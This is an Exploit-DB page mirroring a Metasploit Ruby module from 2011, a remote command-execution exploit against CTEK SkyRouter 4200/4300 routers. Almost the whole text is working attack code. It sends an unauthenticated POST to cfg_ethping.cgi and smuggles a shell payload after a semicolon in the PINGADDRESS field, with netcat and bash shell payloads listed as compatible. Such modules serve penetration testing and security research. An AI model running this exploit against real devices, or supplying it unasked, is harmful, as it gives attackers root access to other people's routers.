CTEK SkyRouter 4200/4300 – Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-11-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18172/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',
    			'Description'=> %q{
    					This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
    			},
    			'Author' => [ 'savant42' ],#with module help from kos
    			'License'=> MSF_LICENSE,
    			'References' => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Space' => 1024,
    					'Compat'=>
    						{
    							'PayloadType' => 'cmd',
    							'RequiredCmd' => 'generic perl telnet netcat-e bash',
    						}
    				},
    			'Platform' => 'unix',
    			'Arch' => ARCH_CMD,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
    			'DefaultTarget' => 0))
    
    	end
    
    	def exploit
    		post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
    		uri= '/apps/a3/cfg_ethping.cgi'
    		print_status("Sending HTTP request for #{uri}")
    		res = send_request_cgi( {
    			'global' => true,
    			'uri'=> uri,
    			'method' => "POST",
    			'data' => post_data
    		}, 30)
    
    		if res
    			print_status("The server responded with HTTP CODE #{res.code}")
    		else
    			print_status("The server did not respond to our request")
    		end
    
    		handler
    	end
    
    end